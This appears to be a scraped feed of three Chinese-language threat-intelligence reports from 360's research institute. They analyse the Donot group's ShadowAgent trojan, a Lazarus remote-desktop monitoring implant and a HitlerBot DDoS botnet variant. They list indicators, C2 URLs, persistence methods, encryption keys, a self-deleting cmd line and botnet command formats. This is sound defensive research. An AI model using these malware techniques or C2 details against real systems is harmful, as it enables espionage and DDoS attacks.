digitall.webhop[.]me

228w1mx7-80.usw3.devtunnels[.]ms

488c65e6d7175f5e696ece9711c0ec37.loophole[.]site

books-drunk-typical-indirect.trycloudflare[.]com

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

360高级威胁研究院是360政企安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。

阅读原文

跳转微信打开

APT-C-35（肚脑虫）近期针对巴基斯坦新型木马攻击活动分析

Fri, 28 Nov 2025 17:30:00 +0800

原创高级威胁研究院 2025-11-28 17:30 北京

近期360安全大脑监测到肚脑虫组织针对巴基斯坦的攻击活动，此次活动中使用新型的远控木马--ShadowAgent,该木马对进程图标进行伪装，诱使用户点击，使用WebSocket+HTTP与服务器进行通信。

APT-C-35

肚脑虫

APT-C-35（肚脑虫）组织（又称Donot）是一个来自南亚地区的境外APT攻击组织。该组织主要针对巴基斯坦及周边国家的政府机构开展网络攻击活动,以窃取敏感信息为主要目标，攻击活动最早可追溯到2016年，近年来其活动频率明显增加，使用的攻击组件也不断更新迭代。

一、概述

近期360安全大脑监测到肚脑虫组织针对巴基斯坦的攻击活动，此次活动中使用新型的远控木马--ShadowAgent，该木马对进程图标进行伪装，诱使用户点击，使用WebSocket+HTTP与服务器进行通信。本文将对攻击活动相关组件进行分析。

一、攻击活动分析

1. 攻击流程分析

本次攻击活动中，该组织使用含有木马的压缩包作为攻击载体。文件解压后，压缩包内包含两个诱饵文档，以及一个将恶意木马程序伪装成PDF文档图标的可执行文件。当用户误执行该木马后，其首先会从自身的资源段中读取经过加密的配置信息，随后通过创建计划任务的方式在系统中建立持久化驻留。最终，该木马会窃取用户设备上的敏感数据并外传至攻击者控制的服务器。

2. 恶意载荷分析

在本次攻击活动中，捕获的恶意样本基础信息如下：

MD5	1c335be51fc637b50d41533f3bef2251
文件名称	OPS-VII-SIR.zip
文件大小	1.04 MB (1088584 bytes)
文件类型	zip

压缩包内嵌文件如下：

基于对该诱饵文档的详细内容分析，推测此次攻击活动目标为巴基斯坦。

样本运行后首先从可执行文件中加载名为“TYPELIB”的资源段。该资源段大小为0x1A1字节，整体内容以加密形式存储，用于隐藏核心运行参数与通信配置。

解密后的配置如下：

样本通过schtasks创建名为“NVIDIA_taskHost”的伪装计划任务，每天上午9:00自动执行恶意文件Annexure.exe，用于在系统中维持持久化。

接着将获取到的用户信息进行拼接，其中包括设备标识、主机名、用户名、安全产品等。

样本将收集到的用户信息JSON结构打包，以post请求的方式发送至远程服务器（www.mydropboxbackup[.]com:443）。

接着会对比服务器响应的数据，是否为如下值。

构造WebSocket URL，用于与远控服务器建立连接。

木马上线后，主控端WebSocket发送指令从而对受害者机器实现远程控制，指令格式同样为json格式。

指令	功能
input	用于向开启的cmd或powershell进行指令输入
F1A5C3	读取cmd或powershell中指令执行结果
B8C1D2	创建cmd
E4F5A6	创建powershell
FL_SH1	结束cmd或powershell
C9E3D4 E7F8A9 H1k4R8 C0V3RT	组合指令，主要功能从指定url下载数据。支持指定zip文件下载，并支持密码参数。
F2B3C4	磁盘遍历
D5E6F7	文件上传
A8B9C0	文件下载
D1E2F3	文件删除
A4B5C6	文件移动（重命名）
D7E8F9	文件夹相关操作

三、关联分析

与此同时，我们还关联到肚脑虫组织的另一款下载器木马，与本次分析的样本存在相同的数字签名信息，基础信息如下。

MD5	20c9ac59c444625a7ee364b410da8f11
文件名称	suv3xx.exe
文件大小	602.60 KB (617064 bytes)
文件类型	exe

样本在运行初期会创建名为“twt”的互斥体（Mutex），通过此机制实现单实例控制。

样本中的敏感字符串均未以明文形式存储，而是采用Base64编码+AES对称加密的组合方式进行保护。

Key:AB BD 3A 7B 8C B2 B4 C6 AB C7 D9 09 E4 E5 C2 C1，

Iv:BB B3 44 58 95 B3 C7 E1 75 C6 E7 D6 D9 D5 BD DB。

接着通过COM组件创建名为“.NET Framework NGEN v4.0.30319 64Update”的计划任务，实现样本持久化操作。

接着开始对受害主机进行窃密行为，获取主机的CPU信息、Windows版本、用户名、计算机名、安装软件列表等信息。通过AES+Base64进行数据加密，再与“mopd=”字符串进行拼接。

创建C:\ProgramData\pintok\gkl.lok文件，将加密的用户基础信息写入到文件中。

解密的配置信息如下图。

连接https://brityservice[.]info:443//ZxStpliGBsfdutMawer/lkhgBrPUyXbgIlErAStyilzsh，接着将加密的用户敏感数据作为上线包发送至服务器。

检查接收的数据是否包含“MFG”以及“？”字符串，接收数据需符合相应格式才会下载后续组件。

再次连接服务器，url路径为ZxStpliGBsfdutMawer/lkhgBrPUyXbgIlErAStyilzsh/N1/SA，接着发送加密数据，解密后格式如下：用户名-计算机名-b0671###Dl1104KillJunk32.dll。然后创建C:\Users\[username]\AppData\Local\EdgeUpdate\Wi0m.dll文件并写入数据。

样本会在系统中创建新的计划任务，以实现持久化驻留。该任务的执行内容为调用rundll32.exe加载并执行指定的恶意 DLL 文件，从而在系统重启自动重新激活样本。

最后执行“cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%s"”，将下载器样本删除。

遗憾的是，目前已无法下载到后续的攻击载荷。

四、归属研判

1. 根据诱饵文档推测此次的攻击活动目标为巴基斯坦，符合攻击者目标。

2. 关联的下载器样本与历史APT-C-35（肚脑虫）组织的攻击武器代码存在较高相似度。

在下载器样本中，针对目标用户的敏感信息存储格式以及数据加密部分和以往APT-C-35（肚脑虫）组织的攻击武器保持高度一致，将窃取的数据进行AES+Base64加密并与某字符串进行拼接，最后作为上线包上传至服务器。上线包格式都是以“字符串=”为前缀。

其对C2返回数据处理逻辑也均是，判断首字节是否为“？”字符串，并判断返回数据中是否携带特定三字节字符。

该下载器样本与该组织历史攻击武器的逻辑一致，从远程服务器下载dll文件并保存到本地，创建计划任务进行持久化操作，而任务的执行内容都为调用rundll32.exe加载并执行指定的恶意DLL文件。

3.针对brityservice.info进行测绘，我们发现，该域名的jarm指纹信息为“28d28d28d00028d00042d42d00000051af7d8070a18e002eaaedf620fa118c”以及证书是Let's Encrypt、域名是.info域名，以上都符合我们所掌握的该组织基础设施测绘特征。

4.下载器木马与本次的分析的样本具有相同的证书，证书路径、序列号等信息均保持一致，属于强关联证据，表明签名文件由同一实体控制。

综上所述，我们将此次攻击活动归属APT-C-35（肚脑虫）组织。

总结

APT-C-35（肚脑虫）组织从2016年被披露后，从未停止相关攻击活动，并且有越来越活跃的趋势。本次针对巴基斯坦的攻击活动中，其使用的ShadowAgent木马将文件图标进行伪装并诱使用户点击，从而开展一系列的恶意行为，可见，该组织在持续优化攻击技术的同时，也在不断丰富其攻击武器库，以应对日益完善的网络安全防护措施。

在此提醒广大用户，请务必保持警惕加强网络安全意识，切勿点击陌生链接或运行来源不明的文件。以此降低被网络攻击的风险。

附录 IOC

MD5

1c335be51fc637b50d41533f3bef2251

f78fd7e4d92743ef6026de98291e8dee

20c9ac59c444625a7ee364b410da8f11

Domain

brityservice[.]info

www.mydropboxbackup[.]com

URL

wss://www.mydropboxbackup[.]com:443/analytics/stream?device_token=b4c08eab17da3c59

https://brityservice[.]info:443//ZxStpliGBsfdutMawer/lkhgBrPUyXbgIlErAStyilzsh

https://brityservice[.]info:443//ZxStpliGBsfdutMawer/lkhgBrPUyXbgIlErAStyilzsh/N1/SA

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

阅读原文

跳转微信打开

疑似APT-C-26（Lazarus）组织利用远程IT伪装部署监控程序的攻击行动分析

Fri, 21 Nov 2025 17:31:00 +0800

原创高级威胁研究院 2025-11-21 17:31 北京

近期，我们在调查过程中捕获到APT-C-26(Lazarus)使用的一款功能完备的定制化监控程序，具备完整的远程桌面控制能力。我们分析认为，此类行为不仅威胁企业数据安全，更可能为其的后续网络攻击行动积累战略资源。

APT-C-26

Lazarus

APT-C-26（Lazarus）组织是一个高度活跃的APT组织。该组织除了对金融机构和加密货币交易所感兴趣外，也对全球的政府机构、航空航天、军工等不同行业开展攻击活动，主要目的是获取资金和窃取敏感信息等。其攻击方式主要包括网络钓鱼、网络攻击和勒索软件攻击，并且它们的攻击行为具有高度的技术复杂性和隐蔽性，也具备Windows、Linux、MacOS系统攻击能力，以及拥有多种攻击载荷武器。

一、概述

近期，我们在追踪该组织的过程中捕获到该组织使用的一款功能完备的定制化监控程序，具备完整的远程桌面控制能力。我们分析认为，该组织中这些被派遣的远程IT人员在成功入职目标企业后，极有可能利用此类监控工具，在不触发警报的前提下，对所在企业的敏感数据进行隐蔽窃密。此类行为不仅威胁企业数据安全，更可能为该组织的后续网络攻击行动积累战略资源。

二、攻击活动分析

1. 攻击流程分析

我们在追踪该组织的过程中捕获到该组织使用的一款功能完备的定制化监控程序。该软件进一步解压并部署一个守护进程及负责核心监控功能的DLL文件。通过利用Windows Shell扩展机制，该恶意程序实现自启动与持久化驻留，确保在系统重启后仍可隐蔽运行。最终，该组件协同工作，构建起一个隐蔽的远程桌面环境，为攻击者提供对受控主机的持续监视与控制能力。

图 1 攻击流程图

2. 攻击组件分析

2.1）注册程序

MD5	62565204478f0ef679aafd7c2f5ceae5
文件名	monitorinstaller_update1.exe
文件大小	804.00 KB
文件类型	Win64 EXE

在执行注册程序后，会弹窗要求输入服务器地址，后续的数据会发送到该地址。

图2 输入服务地址

为了成功安装监控软件，样本会制定以下规则：

禁用Windows Defender的实时监控功能；
将C:\Windows目录及C:\Windows\explorer.exe文件添加到Windows Defender排除项目；
在Windows防火墙中创建一条入站规则，允许C:\Windows\explorer.exe程序接收外部网络连接；
禁用Windows Update服务。

图3 禁用Windows Defender的实时监控

图4 添加排除项

图5 建立防火墙规则

图6 禁用Windows Update服务

在建立规则后，从资源中提取文件，并在C:\ProgramData\Microsoft\Services\Updater\目录释放systemui.dll文件，并调用其导出函数DllRegisterServer注册服务(该DLL功能详见下文)。

图7 释放DLL并注册服务

样本再次从资源提取文件，获取“WinUpdateService ”程序，并传递“—install”参数，执行注册功能。

图8 释放守护程序并执行

在安装完之后重新启动Windows Defender，恢复环境。

图9 重新启动Windows Defender

2.2）守护进程

MD5	462d434aabc3954076480ff61f299f05
文件名	WinUpdateService.exe
文件大小	186.00 KB
文件类型	Win64 EXE

WinUpdateService程序可以接收一个不同的参数。在接受到“--install”参数后，为自身创建名为WnSvc的服务，伪装成Windows更新服务。

图10 创建服务

图在接收到“--status”参数后，检查TCP连接表中30005端口是否处于监听状态、systemui.dll的加载状态以及是否启动了explorer.exe进程。

图11 状态查看

在接收到“—repair”参数后,使用管理员权限修复网络，其中需要对程序输入密码“secret@128!@*”。

图12 网络修复功能

在不为WinUpdateService程序提供参数的情况下，样本会启动WnSvc服务，守护explorer.exe进程，并在30005端口处于监听状态以及systemui.dll加载情况下会启动网络，否则禁用网络并结束当前explorer.exe进程。

图13 守护explorer.exe进程

图14 开启网络

图15 关闭网络

2.3）监控程序

MD5	f3fcff392f44a3b7f0c49b7205c253ea
文件名	SystemUIExt.dll
文件大小	872.00 KB
文件类型	Win64 DLL

2.3.1）导出函数功能

监控程序的导出函数DllRegisterServer利用shell扩展实现持久化。首先将自身注册为COM 组件，并利用注册表“SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellIconOverlayIdentifiers\\ StealthOverlay(StealthOverlay前有两个空格，保证优先加载)”将该组件注册为图标叠加处理器，随后使用SHChangeNotify刷新扩展，无需重启即可生效，自动被 explorer.exe 加载，并在系统启动后自动加载该DLL，实现持久驻留，这也是WinUpdateService程序守护explorer.exe进程的原因。该持久化技术在Vault 7泄露中有提及[1]。

图16 持久化技术

图17 注册表中的具体示例

图18 Vault 7泄露提及shell扩展实现持久化

导出函数DllUnregisterServer则实现取消服务功能。不过在取消服务时并未添加空格，可能是编程疏漏。

图19 取消服务

2.3.2）监控功能

在监控功能中，样本会检验当前进程是否是explorer.exe，通过创建两个线程实现主要功能。

图20 检验进程

图21 创建两个线程

2.3.2.1）线程1-监控线程

线程1包含三部分主要功能。

2.3.2.1.1）功能1-上传数据线程

首先会建立C:\\Users\\Public\\Uploader.log和C:\\Users\\Public\\Uploader_Errors.log，分别代表行为日志和错误日志。

图22 写入日志

随后创建Upload worker线程。启动上传功能。

图23 Upload worker线程示例

Upload worker线程主要将屏幕捕获数据发送到上文设置的服务器地址，从URL来看，该监控软件疑似处于测试阶段。

图24 上传数据

图25 上传的屏幕截图示例

如果不能连接服务器地址或上传失败，则使用xor加密，将数据保存到C:\ProgramData\Windows\WMI\\Temp\目录。

图26 加密保存数据

2.3.2.1.2）功能2-屏幕捕获

功能2会创建3个线程执行主要功能。

2.3.2.1.2.1）线程(1)-屏幕捕获线程

线程(1)首先通过判断是否锁屏、用户输入时间以及显示器亮度判断当前系统状态，只有系统使用时才会执行后续功能，否则进入休眠状态。

图27 判断系统状态

在非休眠情况下，则进行屏幕内容监控，在屏幕帧发生变化时截图。

图28 像素帧比对

2.3.2.1.2.2）线程(2)-监控显示器配置变化

线程(2)主要用来于动态检测显示器配置变化。

图29 日志记录

图30 获取显示器信息

2.3.2.1.2.3）线程(3)- 看门狗线程

线程(3)是一个Watchdog线程，用来守护线程(1)-屏幕捕获线程。

图31 看门狗线程

2.3.2.1.3）功能3-开启远程桌面

功能3首先创建一个监听指定端口的TCP服务器，接受客户端连接，并为每个连接创建一个新线程来处理后续的通信任务。

图32 创建服务器

新线程主要实现了一个远程桌面功能。服务端不断从客户端接收字符“R”，然后获取鼠标信息和屏幕信息发送给客户端。

图33 循环接收字符R

图34 鼠标信息采集

图35 发送共享内存中的屏幕数据

我们构建了一个客户端，连接服务端后实现了远程桌面。

图36 远程桌面示例

2.3.2.2）线程2-守护线程

线程2主要是守护“WnSvc”服务，确保名为WnSvc的Windows服务始终处于运行状态。如果该服务未运行，它会尝试启动或安装它。

图37 持久化守护服务线程

三、归属研判

根据目前分析结果来看，我们发现了该类监控程序的测试版本。该监控程序整体完善，并且使用了Vault 7泄露中提及的持久化技术，背后可能由大型组织提供支撑。

在深入分析后，我们还捕获到了攻击者测试的恶意文档（“f:\print\가계표 - copy.docx”），并且攻击者相关IP地址显示东北亚地区，于是这让我们把目光投向了该地区。随着进一步追踪，我们发现攻击者会使用Astrill软件。同时，我们也发现攻击者使用的部分开发工具，包括web3相关的程序(例如web3-wallet-connect-app-flutter)。

据微软披露的该组织相关成员的活动规律[5]，其成员通常以东北亚地区为据点，通过VPN和远程管理工具实施隐蔽行动。

综合以上信息，这非常符合Lazarus组织所表现出来的技战术，因此我们将此次监控软件归属到Lazarus组织，同时我们也以Lazarus组织来持续跟踪他们。

目前，该监控软件的具体用途尚不明确，但结合Lazarus组织的历史攻击模式，我们推测其可能被用于渗透合法企业或组织后，长期窃取敏感信息、源代码、内部通信数据，或进一步针对加密货币资产发起定向攻击。

后续我们将持续关注该组织及其工具链的演进，尤其聚焦其在 Web3、区块链平台及加密货币生态中的潜在渗透与攻击动向，及时预警相关风险。

附录 IOC

MD5

62565204478f0ef679aafd7c2f5ceae5

462d434aabc3954076480ff61f299f05

a52210763540abeda00f6923f02f7e33

f3fcff392f44a3b7f0c49b7205c253ea

8ad4d981594e40620dc179b39312de91

0c54b86bc8ce4017fe2375f77d004020

87cb1482285329e744c16481738e1579

3214097b251625b5b6bb1dd8cf535248

e3bd8d4a7eda1cafcbc3c898d86ccb0c

54ef01d1074f91e1959a8269743d869e

c9a71a3443156591131faff7b980e475

6ceaedac54a5763829dc193927ccecd8

b13906367428aaf869ac74054116d1f3

参考

[1]https://wikileaks.org/ciav7p1/cms/page_2621765.html

[2]http://xcoolcat7.tistory.com/91421

[3]https://storage.googleapis.com/spur-astrill-vpn/ips.txt

[4]https://spur.us/astrill-vpn-and-remote-worker-fraud/

[5]https://www.microsoft.com/en-us/security/blog/2025/06/30/jasper-sleet-north-korean-remote-it-workers-evolving-tactics-to-infiltrate-organizations/

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

阅读原文

跳转微信打开

警惕！HitlerBot僵尸网络最强变种来袭

Mon, 17 Nov 2025 17:50:00 +0800

原创高级威胁研究院 2025-11-17 17:50 北京

近期，360安全大脑监测发现一种僵尸网络正隐秘发起大规模DDoS攻击，分析其通信协议后确认为HitlerBot僵尸网络新变种。

一、概述

HitlerBot是一种基于Mirai源码开发的僵尸网络变种，因其早期样本中多包含字符串“All hail Hitler!”（意指“希特勒万岁”）以及C2域名包含“集中营”等充满种族主义的单词而得名[1]。近期，360安全大脑监测发现一种僵尸网络正隐秘发起大规模DDoS攻击，分析其通信协议后确认为HitlerBot僵尸网络新变种。目前被该新变种攻击的设备近8000台（35.55%位于中国），为便于安全研究人员快速掌握该新变种特性，制定有针对性的检测防御措施，我们对其加密算法、通信协议、更新点及历史版本特点进行了详细剖析。

新变种具有如下特点：

配置表及通信使用复杂的魔改RC4算法加密保护；
加密DNS-TXT：加密方式为base64Encode（魔改XXTEA加密(交换C2 IP））；
强对抗：反虚拟机、反沙箱（必须带运行参数才能运行）、mount挂载绑定方式隐藏bot进程；
首次使用Handshake域名[2]（基于区块链的分布式DNS，需专用域名服务器进行解析），如：.1、.elite；
攻击强度更大：监测发现其在2025/10/24 16:44 ~2025/11/8 16:36的11天中，持续对国内某云防护提供商发起了113次DDoS攻击。

结合其加密算法复杂程度、对抗强度、攻击强度，堪称HitlerBot最强变种。

二、攻击趋势

近9天HitlerBot新变种DDoS攻击次数与受害者数量的趋势图如下，2025-11-02日的单日受害者最多，达292个，发起DDoS攻击624次。单日攻击次数最多的2025-11-04日为765次。

下图是HitlerBot新变种全球攻击数据图，累计攻击设备7258台，其中位于中国的设备遭受攻击最多，为2580台（占比35.55%），美国（1384台，占比19.07%），巴西（1280台，占比17.64%）。

具体到国内，台湾（321，占比12.44%）、浙江（305，占比11.82%）、江苏（135，占比5.23%）、山东（90，占比3.49%）四省遭受HitlerBot新变种攻击的用户最多，占国内被攻击用户的33%。

三、版本迭代

HitlerBot僵尸网络历史版本迭代

结合其历史版本迭代分析，HitlerBot僵尸网络主要有以下特点：

早期变种可追溯到2024.08月；
更新较快：3~6个月便有一次重要更新；
功能不断强化：对抗手段更丰富、隐蔽性更强（加密方式多样化、复杂化）。

四、攻击活动分析

HitlerBot主要通过暴力破解、漏洞利用等方式进行传播，在被披露后的1年多时间内[1]，HitlerBot陆续更新了多个版本、新增多个不同功能，下文将逐一分析。

4.1. 下发恶意脚本

HitlerBot入侵成功后，会运行恶意脚本以植入HitlerBot僵尸程序（覆盖arm、x86_64、mips等主流架构）。本文先对其x64新变种39c820dac2b7817c82a29fa8307c1cf6进行分析。

4.2. 运行环境检测

HitlerBot新变种运行后会检测自身运行环境，若未带运行参数，或者运行在虚拟环境中，则终止运行以实现反沙箱、反虚拟机功能。

其检测虚拟环境的代码如下（arm、mips架构则检测QEMU特征）：

4.3. 初始化配置表

新变种运行后会在table_init()中对其配置表进行初始化，每个表项均使用魔改rc4加密。rc4_key_1占128字节，含96个硬编码字节（6个16字节单元），剩余部分为32个0字节，96个硬编码字节如下：

0000 24 2F 73 EB 94 C9 64 D7 B7 D1 1D F3 79 26 52 F9 $/së”Éd×·Ñ.óy&Rù

0010 7D CE 01 64 95 1A CD 5E F4 B4 02 FB 50 CF 4E 75 }Î.d•.Í^ô´.ûPÏNu

0020 FE C1 60 92 8B C4 69 42 96 87 35 0F AD 87 09 2B þÁ`’‹ÄiB–‡5.‡.+

0030 55 0A 8F EA 24 5C 48 18 11 4B 13 61 1A 62 D6 18 U.

（魔改rc4加密）变形1：在初始化S盒的密钥调度阶段（KSA），使用3次xor操作实现Sbox1元素交换，而非原始直接交换Sbox1元素。

（魔改rc4加密）变形2：伪随机数生成阶段（PRGA）引入seed，默认使用长态RNG，具体调用关系是：srandom ( )->srandom_r( ) ->random_r( )、rand ( )->random_r( )。srandom_r( )、random_r( )代码如下：

（魔改rc4加密）变形3：密钥流生成阶段，分两种情况更新S盒的状态。case1：若计数器enc_str_len_counter = 3N，则使用3次xor操作实现Sbox1元素交换；case2：计数器enc_str_len_counter ≠ 3N，则对index为偶数的字节额外处理以更新Sbox1（首个index=0）。

（魔改rc4加密）变形4：xor解密阶段，引入3个随机数。

最终，解密后的部分配置表项如下，可看到该新变种首次使用了Handshake域名（如：.1、.elite等顶级域名）。

4.4. 随机化文件名

新变种运行后会在终端输出字符串“.data\n”，并将原bot文件名重命名为以下8个名称中的一个（进程名同随机文件名）。

4.5. 隐藏bot进程

新变种还会向/proc/self/oom_adj写入-1000以禁用Linux内核的OOM Killer（Out-Of-Memory Killer），获取更多执行时间。

接着，新变种会通过挂载绑定方式将/proc/1绑定到/proc/self （/proc/1是init进程（PID 1）的进程目录，/proc/self是一个符号链接，自动指向当前进程的 /proc/），此时访问/proc/self会显示init进程的内容，从而实现bot进程隐藏。

实际效果如下，可通过umount /proc/命令解除隐藏。

4.6. 扫描暴破

然后，新变种会开启扫描暴破工作，其暴破字典仍使用魔改RC4算法加密，共包含81个用户名密码对，解密后的部分截图如下：

4.7. 网络通信

4.7.1 获取C2 IP和端口信息

新变种首先使用STUN协议获取bot所在肉鸡公网ip，然后随机选择以下6个domain中的一个进行连接以获取C2地址（IP）。

afgansour[.]1、daylightbomb[.]elite、goofyorg[.]com、dd.goofyorg[.]com、tubeyou[.]us、tls.tubeyou[.]us

为此，攻击者内置了4个Handshake域名服务器：139.177.195.185、194.60.5.27、172.233.46.92、172.105.120.203；以及5个常见的域名服务器：8.8.8.8、1.1.1.1、208.67.222.222、9.9.9.9、77.88.8.8。

连接成功后，域名服务器返回加密的DNS-TXT，其中包含多个加密的C2地址（IP）。

DNS-TXT解密算法如下：

根据输入长度判断是否为密文，若加密串长度为4字节的整数倍，则为密文，走解密流程（反之为明文，走加密流程），并对密文进行base64解码；
魔改XXTEA解密：其修改了标准XXTEA算法的MX混合函数，xxtea_key= b” bL8U5QfWAbQN6mPX”位于解密后的配置表中。
完成魔改XXTEA解密后，还需交换解密后的ip才可得到真实的C2 ip，如：将1.2.3.4变换为3.4.1.2。
获取C2端口：新变种则会从以下10个端口中随机选择一个进行使用。

4.7.2 建立通信

HitlerBot新变种通信流量仍采用与配置表相同的魔改RC4算法加密，加密和解密后流量的对比图如下：

解密后流量为：

具体通信步骤为：

上线包：成功建立TCP连接后，bot会发送上线包，格式为：
字段
说明
32字节前缀
azbd27sc1ycbgmz1dn2sf02c5tcow2lh
运行参数
gay
用户权限标识
0：普通用户，1：root用户
bot公网ip（新增）
ip尾部可能包含0x00填充字节
响应包：C2以2个字节（如：31 f1，解密后为>>）响应bot上线包；
心跳包：接着，bot发送2个字节的心跳包（如：33 f3，解密后为<<），而C2也以2字节响应（如：31 f1，解密后为>>）；
DDoS攻击指令包：C2发送的攻击指令包具有如下格式，各个参数间以空格分隔：

攻击向量目标ip 持续时间目的端口源端口(为0用随机值) 发送数据长度睡眠时间(新增) 发送数据长度填充字节码(新增，若为0，则payload用随机字节码填充)

形如：0 13.70.103.247 60 30135 0 1 0 (null) 0

HitlerBot新变种支持如下8种DDoS攻击类型：

指令号	新变种DDoS类型	早期变种DDoS类型
0	udp_flood_0	udp_plain_flood
1	tcp_syn_flood	tcp_syn_flood
2	tcp_flood_2	tcp_ack_flood
3	icmp_flood（新增）	tcp_syn_flood
4	udp_flood_4	tcp_stomp_flood
5	udp_flood_5	greip_flood
6	tcp_ack_flood	greeth_flood
7	udp_flood_7	无

五、防范排查建议

HitlerBot新变种通过反虚拟机、反沙箱、mount挂载绑定方式隐藏bot进程等手段不断强化对抗，以及使用魔改加密、复合加密进一步增强其隐蔽性（RapperBot、AISURU僵尸网络亦是如此），这对防御方也提出了更高要求，可以预见未来围绕自定义算法、反虚拟环境的攻防对抗将持续上演，值得大家引起关注。

广大用户可使用360安全大脑相关产品进行实时拦截与防护，并从以下4个方面进行加固，以免遭受黑客攻击，造成不必要的损失。

服务器/IoT设备应配置高强度的登录密码（大小写字母、数字和特殊字符的组合密码，尤其是多个设备不要统一使用同一个密码），并定期更换密码；
修改ssh端口为其他端口（非22端口）；
若非业务需要，不要在公网开放业务端口，采用本地或内网访问，设置访问白名单等方式进行加固；
及时更新主机漏洞补丁，将应用软件升级到安全版本。

附录 IOC

afgansour[.]1

daylightbomb[.]elite

goofyorg[.]com

dd.goofyorg[.]com

tubeyou[.]us

tls.tubeyou[.]us

20.188.115.250

20.238.21.17

34.52.174.135

34.72.194.50

34.95.225.115

34.131.107.191

35.236.143.181

103.188.82.81

103.188.82.112

134.112.17.99

163.227.128.67

172.105.23.122

172.235.16.235

172.235.116.163

185.232.84.168

192.206.117.82

下载服务器：

158.94.209.216

n7[.]gay

45.144.174.2

160.250.134.61

42.112.26.45

MD5

3b578e86eb9f18eb9ef0a14336ab42e8

39c820dac2b7817c82a29fa8307c1cf6

443dd3c715772fe6fca3d3580ab7dce1

aa47ec2d48a0f507e16bb3c1c2b0770b

f58645bd794dd6b8485a0577aa4cd21f

8d62a96a313745bebd11e54b85190070

57d64dadc689a04e6b2b3037e8778352

813be16c993549698b04aa430ef3f37c

a708af774ad9afa77dd9e014bde67348

5f0836883726a5171919a4389cf221ff

e26e7e62e00e61bf98f043c338ad64ee

0d3758e0a4b0e67c263057645531f69f

参考

[1]种族主义底色：新生物联网僵尸网络HitlerBot揭秘

[2] https://www.namecheap.com/domains/handshake-domains/

阅读原文

跳转微信打开

字段	说明
32字节前缀	azbd27sc1ycbgmz1dn2sf02c5tcow2lh
运行参数	gay
用户权限标识	0：普通用户，1：root用户
bot公网ip（新增）	ip尾部可能包含0x00填充字节